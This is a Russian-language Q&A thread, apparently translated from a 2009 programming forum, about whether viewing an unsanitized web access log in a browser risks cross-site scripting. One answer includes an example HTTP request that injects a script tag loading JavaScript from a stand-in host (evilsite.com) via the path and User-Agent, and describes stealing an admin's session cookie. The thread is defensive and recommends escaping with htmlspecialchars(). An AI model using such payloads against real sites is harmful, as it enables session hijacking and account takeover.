Опасно ли просматривать журнал доступа без очистки с помощью веб-браузера? - PullRequest
5 голосов
/ 26 июня 2009

Опасно ли просматривать журнал доступа без очистки с помощью веб-браузера?

Я собираюсь записать журнал доступа и хочу просмотреть его через браузер wev, но если злоумышленник изменит свой удаленный хост или пользовательский агент или что-то еще, сможет ли он атаковать меня?

Вставив атакующий код в свой удаленный хост, пользовательский агент или т. Д.

Так нужно ли выполнять санитарную обработку с помощью htmlspecialchar перед открытием файла журнала доступа через веб-браузер?

Я имею в виду, что злоумышленник вставил какой-то атакующий код в свой удаленный хост, пользовательский агент или другое программное обеспечение, затем я вижу этот журнал доступа через веб-браузер, и тогда мой компьютер будет затронут этим кодом.

Ответы [ 3 ]

5 голосов
/ 26 июня 2009

Да, это опасно.

Например, злоумышленник может просто запросить что-то вроде этого:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1
Host: www.example.com
Connection: close
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script>

И скомпрометировать вашу страницу просмотра с помощью вредоносного JavaScript.

Поскольку вы, вероятно, просматриваете журнал на своем сайте, вы будете зарегистрированы как учетная запись с правами администратора. Используя вредоносный JavaScript, злоумышленник может украсть ваш файл cookie сеанса и захватить ваш сеанс, а также все, что вы можете сделать во время входа в систему.

Итак, в заключение, вы должны определенно избегать доступа к страницам журнала доступа, если только вам не нравится взломать ваши административные учетные записи.

4 голосов
/ 26 июня 2009

Теоретически это возможно, да, и вы должны поблагодарить себя за правильное мышление, чтобы думать об этом таким образом. Очистка любого неконтролируемого ввода перед его отображением в веб-браузере - это всегда хорошая идея.

Я бы запустил вывод журнала через htmlspecialchars().

3 голосов
/ 26 июня 2009

Вы, вероятно, хотите получить форматирование html для вывода и, следовательно, должны санировать / кодировать данные журнала. Но ради аргументов: если вы отправляете вывод в виде текста / обычного, клиент не должен анализировать html / javascript.
Например. вывод

<?php
header('Content-type: text/plain; charset=utf-8');
echo '<script>alert(document.URL);</script>';
отображается как
<script>alert(document.URL);</script>
(по крайней мере, в FF3, IE8, Opera, Safari).
...